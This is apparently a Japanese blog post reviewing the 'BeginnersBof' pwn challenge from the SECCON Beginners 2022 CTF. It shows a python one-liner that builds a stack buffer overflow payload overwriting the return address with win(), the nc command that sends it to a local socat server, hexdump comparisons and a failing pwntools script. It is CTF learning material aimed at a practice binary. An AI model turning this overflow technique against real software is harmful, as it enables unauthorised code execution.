SECCON Beginners 2022 復習

BeginnersBof

本番中

40文字目からwin()のアドレスを入れられれば良いことまでは分かった。
win()のアドレスも分かり、リトルエンディアンに注意しつつ、バイナリエディタでexploitデータを作成し、 手元で立ち上げたサーバに対して送りつけてみた。
しかし、うまくいかなかった。

Writeup

作問した人がWriteupを上げてくれていたが私の環境では動かなかった。
なのでtwitterで見つけた方法をまとめる。

サーバ環境準備

echo "test" > flag.txt
socat tcp-l:9000,reuseaddr,fork system:./chall &

攻撃

python -c "print('100' + '\x0a' + 'A'*40 + '\xe6\x11\x40\x00\x00\x00\x00\x00')" > in.txt
nc localhost 9000 < in.txt

結果

$ nc localhost 9000 < in.txt
How long is your name?
What's your name?
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@test
Segmentation fault

振り返り

本番中に私が作ったデータは以下。

$ hexdump -Cv attack.bin
00000000  ff 0a 61 61 61 61 61 61  61 61 61 61 61 61 61 61  |..aaaaaaaaaaaaaa|
00000010  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  |aaaaaaaaaaaaaaaa|
00000020  61 61 61 61 61 61 61 61  61 61 e6 11 40 00 00 00  |aaaaaaaaaa..@...|
00000030  00 00 0a                                          |...|
00000033

writeupで作ったデータは以下

$ hexdump -Cv in.txt
00000000  31 30 30 0a 41 41 41 41  41 41 41 41 41 41 41 41  |100.AAAAAAAAAAAA|
00000010  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000020  41 41 41 41 41 41 41 41  41 41 41 41 e6 11 40 00  |AAAAAAAAAAAA..@.|
00000030  00 00 00 00 0a                                    |.....|
00000035

最初の数値の応答がうまく行っていなかった。バイナリエディタで数値の応答データを作ったのが失敗だった。
今思うと各質問に対して応答データを作ってcatでくっつければよかった。

作問した人のwriteupは以下 feneshi.co

手元で動かしてみたけどEOFErrorになる。

$ python3 answer.py
Segmentation fault
2022/06/06 21:04:17 socat[11269] E waitpid(): child 11270 exited with status 139
Traceback (most recent call last):
  File "answer.py", line 22, in <module>
    io.recvuntil(b'ctf4b')
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 333, in recvuntil
    res = self.recv(timeout=self.timeout)
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 105, in recv
    return self._recv(numb, timeout) or b''
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 183, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 154, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
    raise EOFError
EOFError

作問者が間違えているとは思えない。環境のせいなのだろうか。
そもそも、単純応答する以下のスクリプトが動かない。

from pwn import *

# connect
io = remote('127.0.0.1', 9999)

# recive question1
r1 = io.recvline()
print(r1)

# answer question1
a1 = "1"
print(a1)
io.sendline(a1)

# recive question2
r2 = io.recvline()
print(r2)

# answer question2
a2 = "a"
print(a2)
io.sendline(a2)

#io.interactive()
# recive question3
r3 = io.recvline()
print(r3)
r4 = io.recvline()
print(r4)

結果

$ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 9000: Done
b'How long is your name?\n'
1
exploit.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline(a1)
b"What's your name?\n"
aaa
exploit.py:22: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline(a2)
2022/06/06 21:24:03 socat[11332] E write(5, 0x5579d3d2da90, 4): Broken pipe
Traceback (most recent call last):
  File "exploit.py", line 26, in <module>
    r3 = io.recvline()
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 490, in recvline
    return self.recvuntil(self.newline, drop = not keepends, timeout = timeout)
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 333, in recvuntil
    res = self.recv(timeout=self.timeout)
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 105, in recv
    return self._recv(numb, timeout) or b''
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 183, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 154, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
    raise EOFError
EOFError
[*] Closed connection to 127.0.0.1 port 9000

sudo apt update && sudo apt upgradeしてみたが結果は変わらなかった。
何が何だか。

感想

参考書や技術書店で買った本で勉強したり、練習サイトで勉強したりしてもう何年もpwnにチャレンジしてるけど本番で解けたことが一度もない。
一番単純なパターンのbofであることは問題文から分かったので、今回こそはと思ったが駄目だったのでそろそろ心が折れそう。
失敗した時になぜうまくいかなかったか、どこが良くなかったか分からないとフィードバックをかけられないのだが、pwnはそういうケースが多くて困る。
ただ、データを作成して送り込む方法ならhexdumpで比べられるので今後はこの方法で進めようと思う。